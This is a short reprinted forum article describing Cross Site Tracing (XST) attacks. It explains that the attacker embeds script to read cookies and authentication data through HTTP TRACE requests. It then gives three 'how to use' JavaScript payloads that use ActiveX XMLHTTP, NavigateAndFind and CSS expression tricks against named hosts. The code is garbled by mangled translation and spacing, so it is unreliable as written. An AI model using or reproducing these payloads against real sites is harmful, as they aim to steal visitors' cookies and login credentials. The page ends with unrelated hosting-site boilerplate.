Cross Site Tracing (XST) Attacks

Source: Internet
Author: User

Reprinted from: http://forum.eviloctal.com/thread-12959-1-1.html

XST attacks are a type of XSS attacks.

XST Attack Description:
Attackers embed malicious code into a web file on a controlled host. When a visitor browses, the malicious code is executed in the browser, then, the visitor's cookie, http basic verification, and htlm authentication information will be sent to the controlled host, and Trace requests will be sent to the target host, resulting in cookie spoofing or man-in-the-middle attacks.

XST attack conditions:
1. The target web server must allow Trace parameters;
2. A place to insert XST code is required;
3. The target site has a cross-origin vulnerability.

Comparison between XST and XSS:
Similarities: these attacks are highly fraudulent and can cause harm to affected hosts. Moreover, such attacks are based on multiple platforms and technologies, we can also use the Active controls, Flash, Java, and so on to perform XST and XSS attacks.
Advantage: normal http verification and NTLM verification can be bypassed.

How to use:

Method 1:

<ScriptType = "text/javascript"> 
<! -- 
FunctionXssTRACE (){ 
VarXmlHttp = newActivexobject ("Microsoft. XMLHTTP "); 
XMLHTTP. Open ("trace", "http://wmjie.51.net/swords/", false ); 
XMLHTTP. Send (); 
Xmldoc = XMLHTTP. responsetext; 
Alert (xmldoc ); 

// --> 
</SCRIPT> 
<InputType = buttonOnclick = "xsstrace ();"Value = 'xssTrace '>

Method 2:

<ScriptType = "text/JavaScript"> 
<! -- 
FunctionXsstrace (){ 
VarOpenWin = open ("blank.htm", "swords", "width = 500, height = 400 "); 
VarOtraceswords = openWin. external; 
OpenWin. location. href = "http://wmjie.51.net/swords "; 
SetTimeout ( 
Function(){ 
// The following must be written in one line 
Otraceswords. NavigateAndFind
('Javascript: xmlHttp = new
ActiveXObject ("Microsoft. XMLHTTP ");
XmlHttp. open ("TRACE", "http://wmjie.51.net/swords/", false );
XmlHttp. send ();
XmlDoc = xmlHttp. responseText; alert ("do not use events. cookie
Display site wmjie.51.net/swords/. \ N"+Xmldoc );',"",""); 
}, 
1024 
); 

// --> 
</SCRIPT> 
<InputType = buttonOnclick = "xsstrace ();"Value = 'xssTrace '>

Method 3:

<ScriptType = "text/JavaScript"> 
FunctionXsstrace (){ 
VaRSwords = "VarXMLHTTP= NewActivexobject (\ "Microsoft. XMLHTTP \")\;
XMLHTTP. Open (\ "trace \", \ "http: // http://www.tingh.com/\", false )\;
XMLHTTP. Send () \; xmldoc = XMLHTTP. responsetext \; alert (xmldoc )\;"; 
VaRTarget="Http://wmjie.51.net/swords "; 
Spinach=Encodeuricomponent (swords+'; Top. Close ()'); 
VaRReadycode='Font-size:
Expression_r (execScript (decodeuricomponent ("'+Spinach+'")))'; 
Showmodaldialog (target,Null,Readycode ); 

</Script> 
<INPUTTYPE = BUTTONOnClick = "xssTRACE ()"VALUE = 'xssTRACE '>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.